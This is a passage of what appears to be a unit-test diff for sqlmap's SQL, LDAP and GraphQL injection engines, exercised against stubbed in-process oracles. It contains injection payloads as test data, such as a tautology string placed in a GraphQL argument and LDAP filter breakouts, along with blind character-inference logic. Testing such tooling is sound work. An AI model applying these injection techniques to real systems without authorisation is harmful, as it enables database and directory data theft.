= self._s_columns + + def _install_row_oracle(self, rows, count=None): + """rows: list of tuples (per-row columns). Oracle answers COUNT and per-LIMIT rows + from the recorded expression (agent._lastexpr), wrapping in real start/stop markers.""" + start, stop, delim = kb.chars.start, kb.chars.stop, kb.chars.delimiter + total = count if count is not None else len(rows) + + def oracle(payload=None, content=False, raise404=False, **kwargs): + expr = getattr(agent, "_lastexpr", "") or "" + if "COUNT" in expr.upper(): + body = str(total) + else: + m = re.search(r"LIMIT (\d+),1", expr) + idx = int(m.group(1)) if m else 0 + row = rows[idx] if 0 <= idx < len(rows) else ("?",) + body = delim.join(row) + page = "%s%s%s" % (start, body, stop) + return (page, AttribDict(), 200) if content else page + Request.queryPage = staticmethod(oracle) + uu.Request.queryPage = staticmethod(oracle) + + +class TestUnionPartialDump(_UnionLimitCase): + def test_multi_row_two_columns(self): + rows = [("1", "alice"), ("2", "bob"), ("3", "carol")] + self._install_row_oracle(rows) + value = uu.unionUse("SELECT id,name FROM users") + self.assertEqual(list(value), [["1", "alice"], ["2", "bob"], ["3", "carol"]]) + + def test_multi_row_single_column(self): + rows = [("alice",), ("bob",)] + self._install_row_oracle(rows) + value = uu.unionUse("SELECT name FROM users") + self.assertEqual([uu.unArrayizeValue(v) for v in value], ["alice", "bob"]) + + def test_query_count_matches_rows(self): + # one COUNT query + one query per row = 4 UNION requests for 3 rows + rows = [("1", "a"), ("2", "b"), ("3", "c")] + self._install_row_oracle(rows) + uu.unionUse("SELECT id,name FROM users") + self.assertEqual(kb.counters.get(PAYLOAD.TECHNIQUE.UNION), 1 + len(rows)) + + def test_count_returns_zero_empty(self): + # COUNT yields "0" -> empty-table sentinel (the function returns []), no row queries + self._install_row_oracle([], count=0) + value = uu.unionUse("SELECT id,name FROM users") + self.assertEqual(value, []) + + def test_single_row_count_one(self): + # COUNT yields "1": the multi-row thread loop is skipped, falls through to one one-shot + rows = [("solo",)] + self._install_row_oracle(rows, count=1) + value = uu.unionUse("SELECT name FROM users") + self.assertEqual(uu.unArrayizeValue(value), "solo") + + def test_length_limited_window(self): + # conf.limitStart/limitStop windowing (dump=True): only rows in [start, stop) survive. + # With limitStart=2, limitStop=4 over a 5-row table the engine COUNTs then walks + # offsets 1..3 -> rows index 1,2,3 -> "b","c","d". + conf.forcePartial = False + conf.limitStart = 2 + conf.limitStop = 4 + rows = [("a",), ("b",), ("c",), ("d",), ("e",)] + self._install_row_oracle(rows, count=5) + value = uu.unionUse("SELECT name FROM users", dump=True) + self.assertEqual([uu.unArrayizeValue(v) for v in value], ["b", "c", "d"]) + + +class TestOneShotUnionUseLimited(_UnionLimitCase): + """_oneShotUnionUse called directly with the `limited` flag set (the per-row caller's mode).""" + + def test_limited_single_row(self): + start, stop, delim = kb.chars.start, kb.chars.stop, kb.chars.delimiter + body = delim.join(("7", "zed")) + page = "%s%s%s" % (start, body, stop) + + def oracle(payload=None, content=False, raise404=False, **kwargs): + return (page, AttribDict(), 200) if content else page + Request.queryPage = staticmethod(oracle) + uu.Request.queryPage = staticmethod(oracle) + + retVal = uu._oneShotUnionUse("SELECT id,name FROM t LIMIT 0,1", unpack=True, limited=True) + self.assertEqual(retVal, page) + # one wrapped multi-column entry -> one row of two columns + self.assertEqual(list(uu.parseUnionPage(retVal)), [["7", "zed"]]) + + +# =========================================================================== +# ERROR-based: lib/techniques/error/use.py +# =========================================================================== + +# An error injection vector is consumed by agent.prefixQuery/suffixQuery (here stubbed +# to a pass-through that just yields the "[QUERY]" placeholder the engine substitutes into). +_ERR_VECTOR = ("pref", "suff", 2, "", "", "NULL", PAYLOAD.WHERE.ORIGINAL, False, False, None, None) + +_ERR_CONF = {"hexConvert": False, "noEscape": None, "verbose": 0, "api": False, + "reportJson": False, "limitStart": 0, "limitStop": 0, "noTruncate": True, + "threads": 1, "eta": False} +_ERR_KB = {"testMode": True, "safeCharEncode": False, "errorChunkLength": None, + "fileReadMode": False, "bruteMode": False, "threadContinue": True, + "suppressResumeInfo": False, "dumpTable": None} + + +class _ErrorCase(unittest.TestCase): + """Stub the forge/escape/transport seam so _oneShotErrorUse's OWN parsing (marker + extraction, trim repair, char restoration) is what is exercised.""" + + def setUp(self): + self._sc = {k: conf.get(k) for k in _ERR_CONF} + self._sk = {k: kb.get(k) for k in _ERR_KB} + self._sqp = Request.queryPage + self._scounters = kb.get("counters") + self._stechnique = kb.get("technique") + self._sinj_data = kb.injection.data + self._shashdb = conf.get("hashDB") + self._sbatch = conf.get("batch") + + self._s_prefix = agent.prefixQuery + self._s_suffix = agent.suffixQuery + self._s_payload = agent.payload + self._s_nullcast = agent.nullAndCastField + self._s_escape = unescaper.escape + + # restore thread state we touch + td = getCurrentThreadData() + self._s_td_uid = td.lastRequestUID + self._s_td_httperr = td.lastHTTPError + self._s_td_redirect = td.lastRedirectMsg + + for k, v in _ERR_CONF.items(): + conf[k] = v + for k, v in _ERR_KB.items(): + kb[k] = v + + conf.batch = True + conf.hashDB = None # disable session resume in these tests + kb.counters = {} + kb.technique = PAYLOAD.TECHNIQUE.ERROR + setTechnique(PAYLOAD.TECHNIQUE.ERROR) + + entry = AttribDict() + entry.vector = _ERR_VECTOR + entry.where = PAYLOAD.WHERE.ORIGINAL + kb.injection.data = {PAYLOAD.TECHNIQUE.ERROR: entry} + + # pass-through forge chain: the produced payload text carries the injExpression so + # the oracle can (optionally) branch on the requested field; agent.payload returns + # exactly the newValue it is handed. + agent.prefixQuery = lambda vector, *a, **k: "[QUERY]" + agent.suffixQuery = lambda query, *a, **k: query + agent.payload = lambda place=None, parameter=None, value=None, newValue=None, where=None: newValue + agent.nullAndCastField = lambda field: field + unescaper.escape = lambda expression, *a, **k: expression + + # getConsoleWidth() in _errorFields hits curses with no tty; pin COLUMNS so it doesn't + self._s_columns = os.environ.get("COLUMNS") + os.environ["COLUMNS"] = "80" + + set_dbms("MySQL") + + def tearDown(self): + for k, v in self._sc.items(): + conf[k] = v + for k, v in self._sk.items(): + kb[k] = v + conf.batch = self._sbatch + Request.queryPage = self._sqp + eu.Request.queryPage = self._sqp + kb.counters = self._scounters + kb.technique = self._stechnique + setTechnique(None) + kb.injection.data = self._sinj_data + conf.hashDB = self._shashdb + + agent.prefixQuery = self._s_prefix + agent.suffixQuery = self._s_suffix + agent.payload = self._s_payload + agent.nullAndCastField = self._s_nullcast + unescaper.escape = self._s_escape + + td = getCurrentThreadData() + td.lastRequestUID = self._s_td_uid + td.lastHTTPError = self._s_td_httperr + td.lastRedirectMsg = self._s_td_redirect + + if self._s_columns is None: + os.environ.pop("COLUMNS", None) + else: + os.environ["COLUMNS"] = self._s_columns + + @staticmethod + def _wrap(body): + return "%s%s%s" % (kb.chars.start, body, kb.chars.stop) + + def _install_page(self, page): + def oracle(payload=None, content=False, raise404=False, **kwargs): + return (page, {}, 200) if content else page + Request.queryPage = staticmethod(oracle) + eu.Request.queryPage = staticmethod(oracle) + + def _install_field_oracle(self, mapping): + """Oracle that branches on which field name appears in the forged payload (the + injExpression is passed through agent.payload unchanged, so it is in `payload`).""" + def oracle(payload=None, content=False, raise404=False, **kwargs): + body = "?" + for field, value in mapping.items(): + if field in (payload or ""): + body = value + break + page = "%s" % self._wrap(body) + return (page, {}, 200) if content else page + Request.queryPage = staticmethod(oracle) + eu.Request.queryPage = staticmethod(oracle) + + +class TestOneShotErrorUse(_ErrorCase): + def test_single_value_extracted(self): + self._install_page("%s" % self._wrap("admin")) + self.assertEqual(eu._oneShotErrorUse("SELECT name"), "admin") + + def test_space_char_restored(self): + # the kb.chars.space placeholder (used to survive transport) is restored to a literal + # space by _errorReplaceChars. NOTE: the other char tokens (dollar/at/hash) are random + # per-run and may collide with the space token, so only space is asserted here. + body = "hello%sworld" % kb.chars.space + self._install_page(self._wrap(body)) + self.assertEqual(eu._oneShotErrorUse("SELECT x"), "hello world") + + def test_no_markers_returns_none(self): + self._install_page("no useful markers here") + self.assertIsNone(eu._oneShotErrorUse("SELECT x")) + + def test_html_entities_unescaped(self): + # retVal goes through htmlUnescape() and
    -> newline on the way out + self._install_page(self._wrap("a & b
    c")) + self.assertEqual(eu._oneShotErrorUse("SELECT x"), "a & b\nc") + + def test_counter_incremented(self): + self._install_page(self._wrap("v")) + eu._oneShotErrorUse("SELECT x") + self.assertEqual(kb.counters.get(PAYLOAD.TECHNIQUE.ERROR), 1) + + def test_field_substituted_into_expression(self): + # field is replaced (once) by nullAndCastField(field) before forging; the oracle keys + # on the field name in the resulting payload to prove the right column was requested + self._install_field_oracle({"surname": "Smith"}) + self.assertEqual(eu._oneShotErrorUse("SELECT surname FROM users", field="surname"), "Smith") + + def test_recovered_from_http_error_body(self): + # page itself carries no markers; the delimited value lives in the 500-error body + td = getCurrentThreadData() + td.lastRequestUID = 4242 + td.lastHTTPError = (4242, 500, "%s" % self._wrap("from-error-page")) + self._install_page("regular page, no markers") + self.assertEqual(eu._oneShotErrorUse("SELECT x"), "from-error-page") + + def test_recovered_from_response_header(self): + # neither page nor error body has it; it is carried back in a response header value + body = self._wrap("hdr-value") + page = "nothing" + + def oracle(payload=None, content=False, raise404=False, **kwargs): + headers = {"X-Leak": body} + return (page, headers, 200) if content else page + Request.queryPage = staticmethod(oracle) + eu.Request.queryPage = staticmethod(oracle) + self.assertEqual(eu._oneShotErrorUse("SELECT x"), "hdr-value") + + def test_hex_convert_decoded(self): + # --hex: the delimited body is a hex string decoded by decodeDbmsHexValue + conf.hexConvert = True + self._install_page(self._wrap("48656C6C6F")) # "Hello" + self.assertEqual(eu._oneShotErrorUse("SELECT x"), "Hello") + + def test_empty_value_between_markers(self): + self._install_page(self._wrap("")) + self.assertEqual(eu._oneShotErrorUse("SELECT x"), "") + + +class TestOneShotErrorUseChunking(_ErrorCase): + """The MySQL multi-chunk reassembly loop: with kb.errorChunkLength set, output >= chunk + length triggers another request at the next offset; the engine concatenates the pieces.""" + + def setUp(self): + _ErrorCase.setUp(self) + kb.testMode = False # honor the chunk-offset loop + kb.errorChunkLength = 4 # pre-set so the length-probe search is skipped + conf.verbose = 0 + + def test_multi_chunk_reassembled(self): + # secret returned 4 chars at a time via SUBSTRING(expr, offset, 4); the loop walks offsets + secret = "abcdefghij" + + def oracle(payload=None, content=False, raise404=False, **kwargs): + # MySQL substring is rendered as MID((field),offset,length) + m = re.search(r"(?:MID|SUBSTRING)\(.*?,(\d+),(\d+)\)", payload or "") + if m: + off, length = int(m.group(1)), int(m.group(2)) + chunk = secret[off - 1:off - 1 + length] + else: + chunk = secret + return ("%s%s%s" % (kb.chars.start, chunk, kb.chars.stop), {}, 200) if content else None + Request.queryPage = staticmethod(oracle) + eu.Request.queryPage = staticmethod(oracle) + + # a field is required for the SUBSTRING windowing branch to engage + self.assertEqual(eu._oneShotErrorUse("SELECT data FROM t", field="data"), secret) + + +class TestErrorFields(_ErrorCase): + """_errorFields iterates the field list, recovering one value per column.""" + + def test_multi_field_values(self): + self._install_field_oracle({"user": "alice", "pass": "s3cr3t"}) + values = eu._errorFields("SELECT user,pass FROM t", "user,pass", + ["user", "pass"], suppressOutput=True) + self.assertEqual(values, ["alice", "s3cr3t"]) + + def test_single_field_value(self): + self._install_field_oracle({"email": "root@localhost"}) + values = eu._errorFields("SELECT email FROM t", "email", ["email"], suppressOutput=True) + self.assertEqual(values, ["root@localhost"]) + + def test_empty_field_yields_null(self): + # a field listed in emptyFields is short-circuited to the NULL sentinel (no oracle hit) + from lib.core.settings import NULL + + def boom(*a, **k): + raise AssertionError("oracle must not be called for an empty field") + Request.queryPage = staticmethod(boom) + eu.Request.queryPage = staticmethod(boom) + values = eu._errorFields("SELECT col FROM t", "col", ["col"], + emptyFields=["col"], suppressOutput=True) + self.assertEqual(values, [NULL]) + + def test_rownum_field_skipped(self): + # a "ROWNUM " field is skipped entirely (Oracle limit artifact) + self._install_field_oracle({"name": "bob"}) + values = eu._errorFields("SELECT name FROM t", "name", + ["ROWNUM x", "name"], suppressOutput=True) + self.assertEqual(values, ["bob"]) + + +class TestErrorUse(_ErrorCase): + """errorUse() orchestration. initTechnique() needs a full injection session; stub it so + the orchestration + _errorFields extraction + result shaping is what is exercised.""" + + def setUp(self): + _ErrorCase.setUp(self) + self._s_initTechnique = eu.initTechnique + eu.initTechnique = lambda technique=None: None + + def tearDown(self): + eu.initTechnique = self._s_initTechnique + _ErrorCase.tearDown(self) + + def test_scalar_value(self): + # scalar expression (no FROM): single one-shot extraction, unwrapped from the list + self._install_page(self._wrap("5.7.40")) + self.assertEqual(eu.errorUse("SELECT VERSION()"), "5.7.40") + + def test_scalar_no_output_none(self): + self._install_page("no markers") + self.assertIsNone(eu.errorUse("SELECT VERSION()")) + + def test_multi_row_dump(self): + # dump=True over a FROM-table query: errorUse COUNTs the rows then LIMIT-walks them, + # reconstructing each row's single column value in order + conf.limitStart = 1 + conf.limitStop = 3 + rows = {0: "alice", 1: "bob", 2: "carol"} + + def oracle(payload=None, content=False, raise404=False, **kwargs): + nv = payload or "" + if "COUNT" in nv.upper(): + body = "3" + else: + m = re.search(r"LIMIT (\d+),1", nv) + idx = int(m.group(1)) if m else 0 + body = rows.get(idx, "?") + return ("%s%s%s" % (kb.chars.start, body, kb.chars.stop), {}, 200) if content else None + Request.queryPage = staticmethod(oracle) + eu.Request.queryPage = staticmethod(oracle) + + value = eu.errorUse("SELECT name FROM users", dump=True) + self.assertEqual([eu.unArrayizeValue(v) for v in value], ["alice", "bob", "carol"]) + + def test_dump_zero_count_returns_empty(self): + # COUNT yields "0" (non-positive) -> the query returned no output -> None + conf.limitStart = 1 + conf.limitStop = 10 + + def oracle(payload=None, content=False, raise404=False, **kwargs): + nv = payload or "" + body = "0" if "COUNT" in nv.upper() else "x" + return ("%s%s%s" % (kb.chars.start, body, kb.chars.stop), {}, 200) if content else None + Request.queryPage = staticmethod(oracle) + eu.Request.queryPage = staticmethod(oracle) + # a "0" count is truthy-but-not-positive -> empty-table sentinel (returns []) + self.assertEqual(eu.errorUse("SELECT name FROM users", dump=True), []) + + +# =========================================================================== +# LDAP: lib/techniques/ldap/inject.py +# =========================================================================== + +class TestLdapPureHelpers(unittest.TestCase): + def test_ratio(self): + self.assertEqual(ldap._ratio("abc", "abc"), 1.0) + self.assertLess(ldap._ratio("hello", "zzzzz"), 0.5) + self.assertEqual(ldap._ratio(None, None), 1.0) + + def test_ldap_literal_escapes_metachars(self): + self.assertEqual(ldap._ldapLiteral("a*b(c)"), "a\\2ab\\28c\\29") + + def test_ldap_literal_backslash(self): + self.assertEqual(ldap._ldapLiteral("a\\b"), "a\\5cb") + + def test_transport_encode(self): + self.assertEqual(ldap._transportEncode("a b&c=d"), "a%20b%26c%3Dd") + + def test_is_password_param(self): + self.assertTrue(ldap._isPasswordParam("password")) + self.assertTrue(ldap._isPasswordParam("userPwd")) + self.assertTrue(ldap._isPasswordParam("auth_token")) + self.assertFalse(ldap._isPasswordParam("username")) + self.assertFalse(ldap._isPasswordParam(None)) + + def test_is_error(self): + self.assertTrue(ldap._isError("LdapErr: DSID-0123ABCD")) + self.assertTrue(ldap._isError("Invalid DN syntax (34)")) + self.assertFalse(ldap._isError("everything is fine")) + + def test_backend_from_error(self): + self.assertEqual(ldap._backendFromError("LdapErr: DSID-0AB12345 problem"), + "Microsoft Active Directory") + # a generic LDAP error that matches the umbrella regex but no specific signature + self.assertEqual(ldap._backendFromError("Invalid DN syntax (34)"), "OpenLDAP") + self.assertIsNone(ldap._backendFromError("no error at all")) + + def test_fingerprint_by_error(self): + self.assertEqual(ldap._fingerprintByError("Microsoft Active Directory"), + "Microsoft Active Directory") + self.assertEqual(ldap._fingerprintByError("OpenLDAP"), "OpenLDAP") + self.assertEqual(ldap._fingerprintByError("ApacheDS"), "ApacheDS") + self.assertEqual(ldap._fingerprintByError("389 Directory Server"), + "389 Directory Server") + self.assertIsNone(ldap._fingerprintByError(None)) + + def test_grid_renders_table(self): + grid = ldap._grid(["a", "bb"], [["1", "2"], ["33", "4"]]) + self.assertIn("| a | bb |", grid) + self.assertIn("| 33 | 4 |", grid) + # header + 2 rows + 4 separators (top, under-header, ... actually 3 borders + n rows) + self.assertEqual(grid.count("+----+----+"), 3) + + def test_charset_excludes_metachars(self): + for meta in ("*", "(", ")", "\\"): + self.assertNotIn(ord(meta), ldap._CHARSET) + self.assertIn(ord("a"), ldap._CHARSET) + self.assertIn(ord("0"), ldap._CHARSET) + + def test_probe_builder_shapes(self): + b = ldap._ProbeBuilder("*)") + self.assertTrue(b.presence("uid").endswith("(uid=*")) + self.assertIn("(cn=adm*", b.prefix("cn", "adm")) + # compound probe closes its own (&...) and opens a suffix-eater + compound = b.presence("uid", constraint=("ou", "people")) + self.assertIn("(ou=people)", compound) + self.assertIn("(objectClass=", compound) + + def test_probe_builder_default_breakout(self): + b = ldap._ProbeBuilder(None) + self.assertEqual(b.breakout, ")") + + +class _LdapOracleCase(unittest.TestCase): + """Drive the real boolean oracle + blind inference against an in-process directory. + The _send seam is replaced by a function that simulates an LDAP-to-application filter + match: a payload's trailing assertion '(attr=value*' matches when the directory holds + `attr` whose value starts with `value`.""" + + DIRECTORY = {"uid": "admin", "mail": "bob", "cn": "Administrator"} + + def setUp(self): + self._sparams = conf.get("parameters") + self._spdict = conf.get("paramDict") + self._scookiedel = conf.get("cookieDel") + self._ssend = ldap._send + + conf.parameters = {PLACE.GET: "user=admin"} + conf.paramDict = {PLACE.GET: {"user": "admin"}} + conf.cookieDel = None + + directory = self.DIRECTORY + + def fake_send(place, parameter, value): + assertions = re.findall(r"\((\w+)=([^()]*)", value) + if not assertions: + return "FALSE-PAGE-baseline-content" + attr, pat = assertions[-1] + pat = pat.rstrip("*") + if attr in directory and directory[attr].startswith(pat): + return "TRUE-CONTENT-stable-match-%s" % attr + return "FALSE-PAGE-baseline-content" + + ldap._send = fake_send + + def tearDown(self): + conf.parameters = self._sparams + conf.paramDict = self._spdict + conf.cookieDel = self._scookiedel + ldap._send = self._ssend + + +class TestLdapParamSegment(_LdapOracleCase): + def test_original_value(self): + self.assertEqual(ldap._originalValue(PLACE.GET, "user"), "admin") + + def test_original_value_from_paramdict_fallback(self): + self.assertEqual(ldap._originalValue(PLACE.GET, "missing"), "") + + def test_replace_segment(self): + self.assertEqual(ldap._replaceSegment(PLACE.GET, "user", "XYZ"), "user=XYZ") + + +class TestLdapOracle(_LdapOracleCase): + def _oracle(self): + return ldap._makeOracle(PLACE.GET, "user", "TRUE-CONTENT-stable-match-uid") + + def test_exists_true(self): + oracle, builder = self._oracle(), ldap._ProbeBuilder(")") + self.assertTrue(ldap._exists(oracle, builder, "uid")) + + def test_exists_false(self): + oracle, builder = self._oracle(), ldap._ProbeBuilder(")") + self.assertFalse(ldap._exists(oracle, builder, "nonexistent")) + + def test_infer_attribute_uid(self): + oracle, builder = self._oracle(), ldap._ProbeBuilder(")") + self.assertEqual(ldap._inferAttribute(oracle, builder, "uid"), "admin") + + def test_infer_attribute_mail(self): + oracle, builder = self._oracle(), ldap._ProbeBuilder(")") + self.assertEqual(ldap._inferAttribute(oracle, builder, "mail"), "bob") + + def test_infer_attribute_missing_none(self): + oracle, builder = self._oracle(), ldap._ProbeBuilder(")") + self.assertIsNone(ldap._inferAttribute(oracle, builder, "zzz")) + + def test_enumerate_entry_keys(self): + oracle, builder = self._oracle(), ldap._ProbeBuilder(")") + keyAttr, values = ldap._enumerateEntryKeys(oracle, builder) + self.assertEqual(keyAttr, "uid") + self.assertEqual(values, ["admin"]) + + +class TestLdapBoolean(_LdapOracleCase): + def test_boolean_divergent_returns_true_page(self): + page = ldap._boolean(lambda: "TRUE-STABLE-CONTENT-HERE", + lambda: "FALSE-DIFFERENT-PAGE-XX") + self.assertEqual(page, "TRUE-STABLE-CONTENT-HERE") + + def test_boolean_identical_returns_none(self): + self.assertIsNone(ldap._boolean(lambda: "SAME-PAGE", lambda: "SAME-PAGE")) + + def test_boolean_error_true_returns_none(self): + self.assertIsNone(ldap._boolean(lambda: "Invalid DN syntax (34)", + lambda: "anything")) + + def test_detect_boolean_finds_tautology(self): + # the fake oracle returns a stable TRUE page for any tautology assertion + # '(objectClass=*' / '(uid=*' / '(cn=*' and a distinct FALSE page for SENTINEL + template, payload, breakout = ldap._detectBoolean(PLACE.GET, "user") + self.assertIsNotNone(template) + self.assertIsNotNone(breakout) + self.assertIn("=*", payload) + + +# =========================================================================== +# GraphQL: lib/techniques/graphql/inject.py +# =========================================================================== + +class TestGraphqlPureHelpers(unittest.TestCase): + def test_unwrap_type_chain(self): + t = {"kind": "NON_NULL", "name": None, + "ofType": {"kind": "LIST", "name": None, + "ofType": {"kind": "SCALAR", "name": "String"}}} + self.assertEqual(gql._unwrapType(t), + [("NON_NULL", None), ("LIST", None), ("SCALAR", "String")]) + + def test_unwrap_type_depth_guard(self): + # malformed / non-dict terminates without recursion error + self.assertEqual(gql._unwrapType("notadict"), []) + + def test_leaf_name(self): + chain = [("NON_NULL", None), ("SCALAR", "Int")] + self.assertEqual(gql._leafName(chain), "Int") + self.assertIsNone(gql._leafName([("LIST", None)])) + + def test_classify_arg(self): + self.assertEqual(gql._classifyArg({"kind": "SCALAR", "name": "String"}), "string") + self.assertEqual(gql._classifyArg({"kind": "SCALAR", "name": "Int"}), "numeric") + self.assertEqual(gql._classifyArg({"kind": "SCALAR", "name": "ID"}), "id_dual") + self.assertIsNone(gql._classifyArg({"kind": "SCALAR", "name": "DateTime"})) + + def test_escape_graphql_string(self): + self.assertEqual(gql._escapeGraphQLString('a"b\\c'), 'a\\"b\\\\c') + self.assertEqual(gql._escapeGraphQLString("a\nb"), "a\\nb") + + def test_cell(self): + self.assertEqual(gql._cell(None), "NULL") + self.assertEqual(gql._cell({"b": 1, "a": 2}), '{"a": 2, "b": 1}') + self.assertEqual(gql._cell("plain"), "plain") + self.assertEqual(gql._cell(7), "7") + + def test_chunks(self): + self.assertEqual(list(gql._chunks([1, 2, 3, 4, 5], 2)), [[1, 2], [3, 4], [5]]) + + def test_render_arg(self): + self.assertEqual(gql._renderArg("id", "5", "numeric"), "id:5") + self.assertEqual(gql._renderArg("n", "hi", "string"), 'n:"hi"') + self.assertEqual(gql._renderArg("id", "9", "id_dual"), "id:9") # digit -> bare + self.assertEqual(gql._renderArg("id", "ab", "id_dual"), 'id:"ab"') # non-digit -> quoted + + def test_render_type_str(self): + self.assertEqual(gql._renderTypeStr(gql._unwrapType( + {"kind": "NON_NULL", "name": None, "ofType": {"kind": "SCALAR", "name": "String"}})), "String!") + self.assertEqual(gql._renderTypeStr(gql._unwrapType( + {"kind": "LIST", "name": None, "ofType": {"kind": "OBJECT", "name": "User"}})), "[User]") + + def test_parse_json(self): + self.assertEqual(gql._parseJSON('{"a": 1}'), {"a": 1}) + self.assertIsNone(gql._parseJSON("not json")) + self.assertIsNone(gql._parseJSON("")) + + def test_is_graphql_response(self): + self.assertTrue(gql._isGraphQLResponse('{"data": {"__typename": "Query"}}')) + self.assertFalse(gql._isGraphQLResponse('{"data": {"id": 1}}')) + self.assertFalse(gql._isGraphQLResponse("[]")) + + def test_error_text(self): + page = '{"errors": [{"message": "boom", "extensions": {"code": "BAD"}}]}' + text = gql._errorText(page) + self.assertIn("boom", text) + self.assertIn("BAD", text) + self.assertEqual(gql._errorText("{}"), "") + + def test_slot_value(self): + self.assertEqual(gql._slotValue('{"data": {"f": {"x": 1}}}'), '{"x": 1}') + # non-graphql passes through unchanged + self.assertEqual(gql._slotValue("raw"), "raw") + + def test_default_for_arg(self): + self.assertEqual(gql._defaultForArg({"kind": "SCALAR", "name": "Int"}, None), 0) + self.assertEqual(gql._defaultForArg({"kind": "SCALAR", "name": "String"}, None), "x") + self.assertEqual(gql._defaultForArg({"kind": "SCALAR", "name": "String"}, "given"), "given") + + +# A minimal but realistic introspection schema: query user(id: String, limit: Int): User +_GQL_SCHEMA = { + "queryType": {"name": "Query"}, + "mutationType": {"name": "Mutation"}, + "types": [ + {"kind": "OBJECT", "name": "Query", "fields": [ + {"name": "user", "args": [ + {"name": "id", "type": {"kind": "SCALAR", "name": "String"}, "defaultValue": None}, + {"name": "limit", "type": {"kind": "SCALAR", "name": "Int"}, "defaultValue": None}, + ], "type": {"kind": "OBJECT", "name": "User"}}, + ]}, + {"kind": "OBJECT", "name": "Mutation", "fields": [ + {"name": "addUser", "args": [ + {"name": "name", "type": {"kind": "SCALAR", "name": "String"}, "defaultValue": None}, + ], "type": {"kind": "OBJECT", "name": "User"}}, + ]}, + {"kind": "OBJECT", "name": "User", "fields": [ + {"name": "name", "type": {"kind": "SCALAR", "name": "String"}, "args": []}, + {"name": "uid", "type": {"kind": "SCALAR", "name": "ID"}, "args": []}, + ]}, + ], +} + + +class TestGraphqlSchemaWalk(unittest.TestCase): + def setUp(self): + self._sfields = dict(gql._inputFields) + + def tearDown(self): + gql._inputFields.clear() + gql._inputFields.update(self._sfields) + + def test_extract_slots(self): + slots = gql._extractSlots(_GQL_SCHEMA) + byArg = dict((s.targetArg, s) for s in slots) + self.assertIn("id", byArg) + self.assertEqual(byArg["id"].strategy, "string") + self.assertEqual(byArg["id"].operation, "query") + self.assertIn("limit", byArg) + self.assertEqual(byArg["limit"].strategy, "numeric") + # the mutation slot is harvested too (reported but not exercised by the scanner) + self.assertIn("name", byArg) + self.assertEqual(byArg["name"].operation, "mutation") + + def test_return_selection_set(self): + slots = gql._extractSlots(_GQL_SCHEMA) + slot = next(s for s in slots if s.targetArg == "id") + self.assertEqual(slot.returnKind, "OBJECT") + self.assertIn("name", slot.returnSel) + self.assertIn("uid", slot.returnSel) + + def test_scalar_fields(self): + typeByName = {"User": _GQL_SCHEMA["types"][2], + "String": {"kind": "SCALAR", "name": "String"}, + "ID": {"kind": "SCALAR", "name": "ID"}} + names = gql._scalarFields(_GQL_SCHEMA["types"][2], typeByName) + self.assertEqual(set(names), {"name", "uid"}) + + def test_render_selection(self): + self.assertIsNone(gql._renderSelection("SCALAR", "String", [], {})) + sel = gql._renderSelection("OBJECT", "User", ["name", "uid"], {}) + self.assertEqual(sel, "{ name uid }") + + +class TestGraphqlQueryBuilding(unittest.TestCase): + def setUp(self): + self._sfields = dict(gql._inputFields) + self.slots = gql._extractSlots(_GQL_SCHEMA) + self.strSlot = next(s for s in self.slots if s.targetArg == "id") + self.numSlot = next(s for s in self.slots if s.targetArg == "limit") + + def tearDown(self): + gql._inputFields.clear() + gql._inputFields.update(self._sfields) + + def test_build_query_string_arg(self): + q = gql._buildQuery(self.strSlot, "x' OR '1'='1") + self.assertTrue(q.startswith("{user:user(")) + self.assertIn('id:"x\' OR \'1\'=\'1"', q) + self.assertIn("limit:0", q) # required-ish sibling defaulted + self.assertIn("{ name uid }", q) + + def test_build_query_numeric_rejects_non_numeric(self): + self.assertEqual(gql._buildQuery(self.numSlot, "notanumber"), "") + + def test_build_query_numeric_accepts_digit(self): + self.assertIn("limit:42", gql._buildQuery(self.numSlot, "42")) + + def test_build_batch(self): + query, aliases = gql._buildBatch(self.strSlot, ["a", "b", "c"]) + self.assertEqual(aliases, ["a0", "a1", "a2"]) + self.assertIn("a0:user(", query) + self.assertIn("a2:user(", query) + + def test_build_batch_aborts_on_unembeddable(self): + query, aliases = gql._buildBatch(self.numSlot, ["1", "notnum"]) + self.assertEqual((query, aliases), ("", [])) + + def test_mutation_prefix(self): + mutSlot = next(s for s in self.slots if s.operation == "mutation") + self.assertTrue(gql._buildQuery(mutSlot, "x").startswith("mutation {")) + + +def _make_sql_truth(secret, dialect): + """A generic boolean SQL oracle: evaluate the LENGTH / ASCII-SUBSTRING / bit predicates + that _inferExpr / _inferExprBatched emit, against a known `secret`, using `dialect`'s + rendering. Independent of the concrete expression text.""" + + def truth(cond): + m = re.search(r"(?:CHAR_LENGTH|LENGTH|LEN)\(\((.+?)\)\)\s*(>=|>|=)\s*(\d+)", cond) + if m: + op, n, L = m.group(2), int(m.group(3)), len(secret) + return (L >= n) if op == ">=" else (L > n) if op == ">" else (L == n) + m = re.search(r"\((?:ASCII|UNICODE)\((?:SUBSTRING|SUBSTR)\(\((.+?)\),(\d+),1\)\)\s*&\s*(\d+)\)>0", cond) + if m: + pos, bit = int(m.group(2)), int(m.group(3)) + c = ord(secret[pos - 1]) if pos - 1 < len(secret) else 0 + return (c & bit) > 0 + m = re.search(r"(?:ASCII|UNICODE)\((?:SUBSTRING|SUBSTR)\(\((.+?)\),(\d+),1\)\)\s*(>=|>|=)\s*(\d+)", cond) + if m: + pos, op, n = int(m.group(2)), m.group(3), int(m.group(4)) + c = ord(secret[pos - 1]) if pos - 1 < len(secret) else 0 + return (c >= n) if op == ">=" else (c > n) if op == ">" else (c == n) + if cond == "1=1": + return True + if cond == "1=2": + return False + return False + + return truth + + +class TestGraphqlBlindInference(unittest.TestCase): + DIALECT = gql.DIALECTS["MySQL"] + + def test_infer_expr_recovers_string(self): + truth = _make_sql_truth("Hello", self.DIALECT) + self.assertEqual(gql._inferExpr(truth, self.DIALECT, "version()"), "Hello") + + def test_infer_expr_recovers_with_symbols(self): + secret = "root@%" + truth = _make_sql_truth(secret, self.DIALECT) + self.assertEqual(gql._inferExpr(truth, self.DIALECT, "CURRENT_USER()"), secret) + + def test_infer_expr_recovers_non_ascii(self): + secret = u"caf\u00e9\u2603" # e-acute (U+00E9) + snowman (U+2603): beyond printable ASCII + truth = _make_sql_truth(secret, self.DIALECT) + self.assertEqual(gql._inferExpr(truth, self.DIALECT, "note"), secret) + + def test_infer_expr_empty_value(self): + truth = _make_sql_truth("", self.DIALECT) + self.assertEqual(gql._inferExpr(truth, self.DIALECT, "expr"), "") + + def test_infer_expr_batched_recovers_string(self): + secret = "MariaDB" + truth = _make_sql_truth(secret, self.DIALECT) + truthBatch = lambda conds: [truth(c) for c in conds] + self.assertEqual(gql._inferExprBatched(truthBatch, 